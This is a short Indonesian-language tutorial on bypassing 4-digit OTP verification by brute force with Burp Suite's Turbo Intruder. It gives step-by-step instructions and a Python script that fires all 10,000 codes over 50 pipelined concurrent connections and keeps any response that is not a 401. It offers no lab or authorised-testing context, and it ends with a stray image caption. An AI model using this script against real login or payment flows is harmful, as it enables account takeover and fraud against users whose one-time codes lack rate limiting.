Bypass OTP 4 Digit Menggunakan Burpsuite

Untuk melakukan bypass OTP 4 digit menggunakan Burp Suite, diperlukan extension tambahan bernama Turbo Intruder.

Langkah-langkah:

1. Pastikan extension Turbo Intruder sudah ter-install di Burp Suite.
2. Kirim request OTP ke Repeater atau langsung dari Proxy → HTTP history.
3. Klik kanan pada request target.
4. Pilih Extensions → Turbo Intruder → Send to Turbo Intruder.
5. Setelah Turbo Intruder terbuka, masukkan script Python berikut untuk melakukan brute force OTP 4 digit.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=50,
                           requestsPerConnection=100,
                           pipeline=True
                           )
# Menghasilkan angka bypass token 0000 sampai 9999
    for i in range(10000):
        engine.queue(target.req, '{:04d}'.format(i))
def handleResponse(req, interesting):
    # Tentukan indikator sukses, misal status code bukan 401 atau 200
    if req.status != 401: 
        table.add(req)

lalu pilih parameter otp nya dan ubah menjadi %s lalu klik attack!!

Paremeter kode OTP